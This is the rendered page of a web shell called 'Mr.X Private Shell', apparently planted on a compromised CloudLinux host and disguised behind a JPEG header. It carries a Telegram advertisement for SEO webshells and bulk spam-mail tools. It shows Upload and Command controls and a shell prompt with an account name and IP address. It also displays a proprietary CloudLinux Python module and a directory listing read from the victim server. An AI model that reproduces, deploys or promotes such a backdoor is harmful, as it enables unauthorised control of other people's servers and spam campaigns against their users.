����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

bkunreyz@216.73.216.240: ~ $
#!/opt/cloudlinux/venv/bin/python3 -bb
# coding=utf-8
#
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2019 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT


from __future__ import print_function
from __future__ import division
from __future__ import absolute_import
from collections import defaultdict
from future.utils import iteritems

from cldetectlib import get_suEXEC_status, get_suPHP_status
from cllimits import CageFs, CageFsException

from .cluserselect import ClUserSelect
from .clselect import ClSelect as ClSelectPhp

from .clselectctl import interpreter_versions_short_summary, server_applications_summary
from typing import Optional, Dict  # NOQA

# Domain compatibility logic lives in clselectdomains; re-exported here
# for backward compatibility — existing callers that import from
# clselectstatistics will continue to work.
from .clselectdomains import (  # noqa: F401
    _is_acceptable_php_handler_cpanel,
    _get_php_selector_domains_for_cpanel,
    _get_php_selector_domains_for_plesk,
    _get_php_selector_domains_for_da,
    _get_php_vhosts_for_current_panel,
    get_php_selector_compatible_domains,
    get_all_selector_compatible_domains_flat,
)


def _iter_versions(interpreter):
    """
    Return list of InterpreterSummary objects
    :rtype: list[clselectctl.InterpreterSummary]
    """
    return interpreter_versions_short_summary(interpreter)


def iter_server_applications(interpreter):
    """
    Return list of ApplicationSummary objects
    :rtype: list[clselectctl.ApplicationSummary]
    """
    return server_applications_summary(interpreter)


def get_versions_statistics(interpreter):
    # type: (str) -> Optional[Dict]
    interpreters_versions = _iter_versions(interpreter)
    if interpreters_versions is not None:
        return {
            it.version: {
                'full_version': it.version_full,
                'enabled': it.enabled,
                'installed': it.installed
            } for it in interpreters_versions
        }


def get_php_selector_usage():
    """Get users and domains that use php selector"""
    cagefs = CageFs()
    if not cagefs.is_cagefs_present():
        return None

    # check if cagefs is initialized
    try:
        cagefs._load_info()
    except CageFsException:
        return None

    # either suexec or suphp is required to move user into cagefs
    if not any((get_suEXEC_status(), get_suPHP_status())):
        return None

    # ignore unsupported control panels
    php_vhosts = _get_php_vhosts_for_current_panel()
    if php_vhosts is None:
        return None

    php = ClUserSelect()
    domains_by_php_version = defaultdict(set)
    users_by_php_version = defaultdict(set)
    for user, user_domains in iteritems(php_vhosts):
        if not cagefs.get_user_status(user):
            continue

        version = php.get_version(user, show_native_version=False)[0]
        domains_by_php_version[version].update(user_domains)
        users_by_php_version[version].add(user)

    return {
        'domains_by_php_version': domains_by_php_version,
        'users_by_php_version': users_by_php_version
    }


def get_native_version_safe():
    """
    Safely get native version, or None if not set
    """
    php = ClSelectPhp()
    v = php.get_native_version(verbose=False)  # tuple[version, full_version] | None
    if v is None:
        return v
    return v[0]


def get_mode_of_php_selector():
    # type: () -> str
    """
    Get state of PHP selector: without CageFS or normal
    """

    return 'without_cagefs' if ClSelectPhp().work_without_cagefs() else 'normal'


def get_default_php_version():
    # type: () -> str
    """
    Get default version of PHP selector
    """

    # yep, get_version() returns default(!) version, don't ask me 'why'
    return ClSelectPhp().get_version()[0]

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
baseclselect Folder 0755
clselectnodejs Folder 0755
clselectnodejsuser Folder 0755
clselectphp Folder 0755
clselectphpuser Folder 0755
clselectpython Folder 0755
clselectpythonuser Folder 0755
clselectruby Folder 0755
__init__.py File 536 B 0644
clextselect.py File 19.61 KB 0644
clpassenger.py File 26.52 KB 0644
clselect.py File 21.96 KB 0644
clselectctl.py File 9.15 KB 0644
clselectctlnodejsuser.py File 20.66 KB 0644
clselectctlphp.py File 45.92 KB 0644
clselectctlpython.py File 44.75 KB 0644
clselectctlruby.py File 18.59 KB 0644
clselectdomains.py File 4.6 KB 0644
clselectexcept.py File 10.22 KB 0644
clselectprint.py File 5.39 KB 0644
clselectstatistics.py File 3.81 KB 0644
cluserextselect.py File 16.54 KB 0644
cluseroptselect.py File 24.39 KB 0644
cluserselect.py File 30.7 KB 0644
locked_extensions.ini File 1.2 KB 0644
models.py File 815 B 0644
utils.py File 16.22 KB 0644